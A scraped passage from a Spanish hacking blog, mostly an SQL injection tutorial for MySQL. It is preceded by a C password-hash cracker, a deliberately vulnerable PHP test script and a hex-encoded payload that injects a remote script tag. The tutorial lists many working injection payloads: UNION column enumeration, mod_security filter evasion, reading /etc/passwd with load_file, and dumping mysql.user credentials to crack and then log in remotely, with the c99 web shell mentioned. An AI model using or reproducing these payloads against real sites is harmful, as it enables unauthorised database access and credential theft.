pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; } </stdio.h></pre></div> <br /> <br />---------------------------------------------------- <br /><u><b>script vulnerable</b></u> <br /> <br /><u>Code sql!:</u> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">CREATE TABLE 'users' ( 'id' int(10) unsigned NOT NULL auto_increment, 'name' varchar(50) NOT NULL, 'password' varchar(50) NOT NULL, PRIMARY KEY ('id') ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; ­­ users ­­ INSERT INTO 'users' VALUES (1, 'administrator', '1234%&_'); INSERT INTO 'users' VALUES (2, 'ka0x', 't3st_bl1nd'); INSERT INTO 'users' VALUES (3, 'bush', 'terrorist'); </pre></div> <br /><u> <br />script php:</u> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"><!--?php # ­­­­ CONFIG ­­­­­ $host = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'blind'; # ­­­­­­­­­­­­­­­­­ echo "<title-->Blind SQL Injection Test ­ D.O.M LABS 2008"; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM users WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('No hay columnas'); } $result=@mysql_fetch_row($query); echo "<h2><center><u>Blind SQL Injection Test<br />D.O.M LABS</u><br />< br>"; echo "<span style="color:#FF0000;">user_id: </span>".$result[0]."<br />"; echo "<span style="color:#FF0000;">username: </span>".$result[1]."<br />"; // echo "Password: ".$result[2]."<br />"; echo "</center></h2>"; die(); ?> </pre></div> <br /> <br /> <br />Explorador de base de datos (General Injection Explorer 3.0) atravez de sqli by<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">PonyMagic</a> <br /> <br />uso:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">PonyMagic</a> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> (0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)</pre></div> <br /> <br />Uso:<span class="Apple-converted-space"> </span> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img692.imageshack.us/img692/9366/84930379.gif" target="_blank" style="color: rgb(51, 153, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img692.imageshack.us/img692/9366/84930379.gif" style="max-width: 499px; " /></a></h1></span></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Gran tutorial de inyecciones SQL (MySQL)

+--------------------------------------------------------+ | SQL injection && Blind Sql Injection | | Escrito por l0ve | +--------------------------------------------------------+ ¿Qué es sql injectio…

Leer más »

Gran tutorial de inyecciones SQL (MySQL)

<div style="text-align: center;"><span class="Apple-style-span" style="color: rgb(199, 199, 199); font-family: Verdana, arial, sans-serif; font-size: 11px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: rgb(27, 27, 27); "><center>+--------------------------------------------------------+<br /><br />|<span class="Apple-converted-space"> </span><b>SQL injection && Blind Sql Injection</b><span class="Apple-converted-space"> </span>|<br /><br /><br />|<span class="Apple-converted-space"> </span><b>Escrito por<span class="Apple-converted-space"> </span><font color="blue">l0ve</font></b><span class="Apple-converted-space"> </span>|<br /><br />+--------------------------------------------------------+<br /></center><br /><br /><u><b>¿Qué es sql injection?</b></u><br /><br />"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la<br />base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las<br />partes del programa con código SQL. Es, de hecho, un error de una clase más general de<br />vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté<br />incrustado dentro de otro.<br />Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro<br />código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código<br />"invasor" en la base de datos."<br /><b><br />Fuente:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://es.wikipedia.org/wiki/Inyección_SQL</a><br /><br /><u><b>¿Qué vamos a ver?</b></u><br /><br />Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x ..<br /><br />aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc ..<br /><br />Antes de empezar vamos a repasar algunas cosas básicas:<br /><br /><b>?</b><span class="Apple-converted-space"> </span>enlaza la URL con los parámetros.<br /><b>&</b><span class="Apple-converted-space"> </span>delimita donde termina un parámetro y donde comienza el otro.<br /><b>=</b><span class="Apple-converted-space"> </span>asigna el valor.<br /><br /><b><i>Recuerda bien ;).</i></b><br /><br />Empecemos ...<br /><u><br />Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"</u><br /><br /><u><b>¿Cómo reconocer una vulnerabilidad sql?</b></u><br /><br />Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ' (''%27'') al<br />final de la URL:<br /><br />http://localhost/print.php?id=332'<br /><br />también con:<span class="Apple-converted-space"> </span><br /><br />- paréntesis ")"<br />- "comentarios" como ''/*'' , ''--'' o "#"<br />- palabras del lenguaje sql como "select,order by" etc ..<br /><br />Ejemplos:<br /><br />http://localhost/print.php?id=12) --<br />http://localhost/print.php?id=12)) --<br />http://localhost/print.php?id=12 '--<br />http://localhost/print.php?id=12 ') --<br />http://localhost/print.php?id=12 ')) --<br /><br />veamos:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" style="max-width: 499px; "></a><br /><br /><br />el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo:<br /><br /><b>Con /*:</b><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" style="max-width: 499px; "></a><br /><br /><b>Con --:</b><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" style="max-width: 499px; "></a><br /><br /><br />además de los ejemplos anteriores se pueden usar "operadores lógicos" ..<br /><br />ejemplo:<br /><br />http://localhost/print.php?id=1 and 1=1<br /><br />Y luego:<br /><br />http://localhost/print.php?id=1 and 1=2<br /><br />vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar lo<br />segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la diferencia).<br />Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL<br />syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a<br />sql injection.<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" style="max-width: 499px; "></a><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" style="max-width: 499px; "></a><br /><br /><br />No solo se puede usar "AND" existen otros operadores lógicos:<br /><br /><b>1 && 1</b><span class="Apple-converted-space"> </span>//Representa el AND<br /><b>1 || 1</b><span class="Apple-converted-space"> </span>//Representa el OR<br /><b>1 XOR 0</b><span class="Apple-converted-space"> </span>//Retorna null si alguno de ellos es null<br /><b>!</b><span class="Apple-converted-space"> </span>//Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.<br /><br /><br /><u><b>Explorando la base de datos</b></u><br /><br />Vamos a averiguar el numero de columnas ...<br /><br />¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los<br />resultados veamos.<br /><br />http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error<br />http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error<br />...<br />http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error<br />http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error<br />http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error<br />http://localhost/print.php?id=-1 order by 17/* <-------- error<br /><br />Cuando hay un error nos mostrara algo así:<br /><br />"Unknown column '17' in 'order clause"<br /><br />Como podemos ver hay 16 columnas.<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" style="max-width: 499px; "></a><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" style="max-width: 499px; "></a><br /><br /><br />Pero hay veces que esto no es posible y tendremos que usar UNIÓN<span class="Apple-converted-space"> </span><u><br />(Sentencia UNIÓN:</u><span class="Apple-converted-space"> </span>Se usa<br />para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)<br /><br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br />Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero<br />sabremos que la unión funciona .. tenemos que hacer:<br /><br />union all select 1/*<br />union all select 1,2/*<br />union all select 1,2,3/*<br />..<br />y así sucesivamente hasta encontrar la cantidad de columnas.<br /><br /><br /><b><u>Saber la versión de mysql y entre otros datos útiles</u></b><br /><br />Bueno ahora analicemos la inyección de más arriba ..<br /><br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br />Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero.<br /><br /><br />Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla).<br /><br />Versión:<br /><br />http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/<br />*<br /><br />(se pude usar @@version o version())<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" style="max-width: 499px; "></a><br /><br />(se pude usar @@version o version())<br /><br />Tendrás algo como "4.1.20-log"<br /><br />Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.<br /><br />Es importante saber la versión de MySQL ya que podría facilitarnos la inyección ..<br /><br /><b>version()</b><span class="Apple-converted-space"> </span>Devuelve la versión del servidor MySQL.<br /><b>database()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de la base de datos actual.<br /><b>current_user()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de usuario y el del host para el que está autentificada la<br />conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de<br />acceso. Puede ser diferente del valor de USER().<br /><b>last_insert_id()</b><span class="Apple-converted-space"> </span>Devuelve el último valor generado automáticamente que fue insertado en una<br />columna AUTO_INCREMENT.<br /><b>connection_id()<span class="Apple-converted-space"> </span></b>Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.<br /><b>@@datadir</b><span class="Apple-converted-space"> </span>directorio de la db.<br /><br />un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..?<br /><br />ok .. para evitarlo se hace de la siguiente forma:<br /><br />con la función<span class="Apple-converted-space"> </span><u>convert().</u><br /><br />http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using<br />latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br /><u>con hex() y unhex():</u><br /><br />http://localhost/print.php?id=-1+union+all+select<br />1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br /><u>aes_encrypt & aes_decrypt</u><br /><br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user--<br /><br /><u>COMPRESS , UNCOMPRESS</u><br /><br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user--<br /><br /><br />Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos.<br /><br />otra cosa es que el . (punto) separa la base de datos de las tablas ejemplos: mysql.user, information_schema.tables o ventas.usuarios.<span class="Apple-converted-space"> </span><br /><br />Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo:<br /><br /><br />http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br />http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*<br /><br />o evandiendo el Mod_Security cuando da 403 como codigo de estado (prohibido), se reinicia etc. :<br /><br />http://localhost/print.php?id=-1+/*!union*/+/*!select*/+/*!all*/+1,version(),3--<br /><br /><br /><b><u>Obteniendo tabla,nombre de columna y otros datos</u></b><br /><br />Vamos a ver como hacer al tener una versión 5 de MySQL:<br /><br /><u>Para tener una lista de los privilegios podemos hacer:</u><br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*<br /><br />hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql).<br />Con esto nos ahorraríamos de hacer inyecciones ..<span class="Apple-converted-space"> </span><br /><br />si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL.<br /><br />pero todo sale muy junto? ..¿Cómo podemos evitar esto?<br /><br />Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii).<br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*<br /><br />Vemos que 0x3a es un valor en hex y representa ":"<br /><br />Entonces obtendremos algo así:<br /><br />''primerdato:segundodato'' y no ''primerdatosegundodato''<br /><br />Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos:<span class="Apple-converted-space"> </span><br /><br />''primerdato=segundodato''<br /><br />Y en ascii:<br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,<br />9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" style="max-width: 499px; "></a><br /><br />y ..<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" style="max-width: 499px; "></a><br /><br />Como podemos ver en la segunda imagen aparece unos : (dos puntos)<br /><br />o con char():<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img122.imageshack.us/img122/1842/pantallazo11db8.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img122.imageshack.us/img122/1842/pantallazo11db8.png" style="max-width: 499px; "></a><br /><br />como podemos ver lo separamos con<span class="Apple-converted-space"> </span><b>^</b>.<br /><br /><u>Nota: Para saber los valores ascii:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://www.ascii.cl/es/" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.ascii.cl/es/</a></u><br /><br />o Sencillo script en perl para pasar una cadena de caracteres a HEX:<br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">print "Enter string to encode:"; $str=<stdin>;chomp $str; $enc = encode($str); print "Hex Encoded value: 0x$enc\n"; sub encode{ #Sub to encode @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf('%lx',$line); $encoded_command .= $encoded; } return $encoded_command; } </stdin></pre></div><br /><br />Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" style="max-width: 499px; "></a><br /><br />o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" style="max-width: 499px; "></a><br /><br />como ven muestra la base de datos,la tabla y la columna.<br /><br />en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.<br /><br /><br /><br />Bueno seguimos ..<br /><br />otras formas para obtener una lista de privilegios:<br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri<br />v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P<br />rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,<br />0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe<br />cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m<br />ysql.user--<br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,<br />11,12,13,14,15,16+FROM+information_schema.schema_privileges--<br />http://localhost/print.php?<br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg<br />e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--<br /><br /><b>una lista sobre las base de datos:</b><br /><br />http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s<br />chema.schemata--<br /><br />http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--<br /><br /><b>una lista de columnas:</b><br /><br />http://localhost/print.php?<br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,<br />10,11,12,13,14,15,16+FROM+information_schema.columns--<br /><br /><b>También se puede leer algún archivo local como "/etc/passwd":</b><br /><br />http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1<br />6--<br /><br />El /etc/passwd esta en hex.<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" style="max-width: 499px; "></a><br /><br />o obtener un user y pass de la db para poder acceder remotamente a ella:<br /><br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,<br />10,11,12,13,14,15,16+FROM+mysql.user--<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" style="max-width: 499px; "></a><br /><br />nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el<br />hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306.<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" style="max-width: 499px; "></a><br /><br />y podernos conectar remotamente:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" style="max-width: 499px; "></a><br /><br />buscando cosas interesantes:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" style="max-width: 499px; "></a><br /><br /><b>Nota:</b><span class="Apple-converted-space"> </span>se puede usar cualquier cliente mysql en este caso uso la c99.<br /><br /><br /><u>Una forma para intentar buscar nombres de columnas:</u><br /><br />Buscando algún nombre de tabla .. en este caso largo auth ..<br /><br 